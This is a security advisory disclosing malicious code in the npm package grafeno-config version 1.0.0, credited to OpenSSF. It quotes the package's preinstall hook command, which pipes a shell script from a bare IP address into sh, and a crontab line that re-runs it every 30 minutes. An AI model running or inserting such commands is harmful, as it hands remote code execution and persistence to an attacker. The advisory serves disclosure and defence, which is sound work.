grafeno-config

GHSA-r3jq-7mgh-v97x

Malicious code in grafeno-config (npm)

Details

**Severity:** Critical

**Affected versions:** `= 1.0.0`

## Source: amazon-inspector (ebbea90af14e110b5dcef171163ea3029f6655ecf623595c251f44db674ce6af)
package.json declares a preinstall lifecycle hook that runs `curl -s 216.126.236.46/x.sh | sh`, fetching a shell script from a bare-IP host over plain HTTP and piping it to /bin/bash on `npm install`. The same hook appends a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh | sh`, re-fetching and executing whatever that host serves every 30 minutes. The payload is unpinned, unverified, and mutable by whoever controls 216.126.236.46, giving arbitrary remote code execution on the installer's host at install time and persistent execution thereafter, independent of whether the package remains installed.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/8278ab2bd67eee704962fa11801bbf9da85d4939/osv/malicious/npm/grafeno-config/MAL-2026-15504.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/8278ab2bd67eee704962fa11801bbf9da85d4939/osv/malicious/npm/grafeno-config/MAL-2026-15504.json
- https://www.npmjs.com/package/grafeno-config/v/1.0.0
- https://github.com/advisories/GHSA-r3jq-7mgh-v97x

Compromised versions (1)

= 1.0.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.